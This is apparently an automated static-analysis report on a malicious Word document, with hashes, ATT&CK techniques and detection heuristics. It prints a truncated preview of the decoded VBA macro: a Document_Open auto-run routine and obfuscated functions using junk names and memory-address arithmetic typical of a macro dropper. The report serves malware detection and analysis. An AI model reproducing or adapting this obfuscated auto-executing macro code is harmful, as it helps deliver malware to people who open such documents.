Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 db24fc34256afdc9…

MALICIOUS

Office (OLE)

194.0 KB Created: 2017-01-31 16:23:00 Authoring application: Microsoft Office Word First seen: 2019-10-01
MD5: b6f5bf6f8d0cb61e5d3b64836d7181c5 SHA-1: 463c70ad36773af629a69bd00b543d8e2c236418 SHA-256: db24fc34256afdc983b78bc20d46137d05054e0043d8190d01d665d2bfe8c167
142 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros, as indicated by multiple heuristics and ClamAV detection. The 'Document_Open' macro and 'SE_ENABLE_LURE' heuristic suggest the document prompts the user to enable macros to execute its payload. The VBA code appears to manipulate document content and potentially download further stages, though the full functionality is obfuscated.

Heuristics 5

  • ClamAV: Doc.Dropper.ZwMacros-6057750-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.ZwMacros-6057750-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://ns.adobe.com/camera-raw-settings/1.0/In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 36561 bytes
SHA-256: cb34310f32ef9f1db17e224558bcc7b7d7e2243313343d48c6ce5927ab951a87
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub ControlWord()
    Dim objWord As New Word.Application
    Dim rsContacts As New ADODB.Recordset
    Dim strLtrContent As String
    rsContacts.ActiveConnection = CurrentProject.Connection
    rsContacts.Open "tblContacts"
    
    objWord.Documents.Add
    
    Do While Not rsContacts.EOF
      strLtrContent = rsContacts("FirstName") & " " & rsContacts("LastName")
      strLtrContent = strLtrContent & rsContacts("Address") & vbCrLf
      strLtrContent = strLtrContent & rsContacts("City") & ", " & rsContacts("Region")
      strLtrContent = strLtrContent & "  " & rsContacts("PostalCode")
      strLtrContent = strLtrContent & "Dear " & rsContacts("FirstName") & " "
      strLtrContent = strLtrContent & rsContacts("LastName") & ":"
    
        objWord.Selection.EndOf
        objWord.Selection.Text = strLtrContent
    
        objWord.Selection.EndOf
        objWord.Selection.InsertBreak
        
        rsContacts.MoveNext
    Loop
    objWord.Visible = True
    objWord.PrintPreview = True
End Sub


Function lugger(horsewoman, brydges, aristides)
#If Win64 Then
Dim auxilia As Variant
Dim anathematize As Integer
Dim schoolmate As LongPtr
Dim agathis As LongPtr
Dim dowdiness As LongPtr
Dim sauciness As String
Dim millwright As LongPtr
Dim rifled As LongPtr
#Else
Dim agathis As Long
Dim alto As Byte
Dim schoolmate As Long
Dim carboy As Byte
Dim millwright As Long
Dim deperdition As Variant
Dim dowdiness As Long
Dim goodness As Variant
Dim rifled As Long
Dim aeronautical As String
Dim limbic As Variant
#End If
diamond = diamond
methanol = "maximizing"
agathis = horsewoman
rifled = aristides
bazeingr = VBA.Math.Round(455.7117 + 88)
millwright = brydges
euglenophyta = 46
aphonous = 17050
lamba = 427088
indiaman = SLN(lamba, aphonous, euglenophyta)

bazeingr = Rnd(270.6004 + 118)
schoolmate = 63 + 39 + 41 - 144
acronymic ByVal schoolmate, agathis, millwright, rifled, dowdiness
bazeingr = bazeingr \ 187
End Function
Private Sub Document_Open()
Dim microscopically As String
Dim longing As String
tamandua = "attainable"
barrels = "choppy"
intercommunity
cheremis = 44
aeroscope = 34761
pinguecula = 226617
huddle = SLN(pinguecula, aeroscope, cheremis)
End Sub


gaterum = "similar"
masdevallia = "ladino"
#If Win64 Then
Dim christianity As Variant
Dim eyedness As LongPtr
Dim breechesmaker As LongPtr
Dim fivehitter As Variant
#Else
Dim masterdom As String
Dim breechesmaker As Long
Dim aythya As String
Dim eyedness As Long
#End If
bootlegging = 44 - 44
actinomorphic = "assumiing"
bruchus = "hi" & "ghfl" & "own"
formosan = 4096
trilobate = 94
fearing = 31220
propylaeum = 282632
fearing = Pmt(0.0721, trilobate, -31870, propylaeum, 0)

hymenophyllaceae = "mortify"
babysitter = "cr" & "aggy"
pearliness = "davy"
allegorical = 34
drifting = 38056
lunular = 321649
ropedancing = SLN(lunular, drifting, allegorical)

bodacious = hone
attract = "fluoroboride"
hokkaido = "offsite"
eyedness = dissocial(bodacious)
biogenetic = "ad" & "vances"
phoenicophorium = "nether"
#If Win64 Then
Dim down As Integer
Dim dabchick As LongPtr
colloquially = "transpose"
aborticide = "fl" & "apdoodle"
Dim boreal As LongPtr
taken = 116 - 24 - 36 + 1256
#ElseIf Win32 Then
inquirendum = "chorizon"
copperbottomed = "hominidae"
Dim dabchick As Long
abbe = 128 + 367
Dim boreal As Long
taken = abbe + 2659

#End If
Dim nervous As Variant
Dim antirrhinum As Long
dabchick = 0
breechesmaker = eyedness + taken
boreal = 1
overmaster = aweless(breechesmaker, dabchick, boreal, dabchick)
coetera = 23
dialectic = 19195
cuirassier = 525873
perennially = SLN(cuirassier, dialectic, coetera)

End Sub

Function dissocial(children)
Dim vaulter As Byte
Dim bumbling
... (truncated)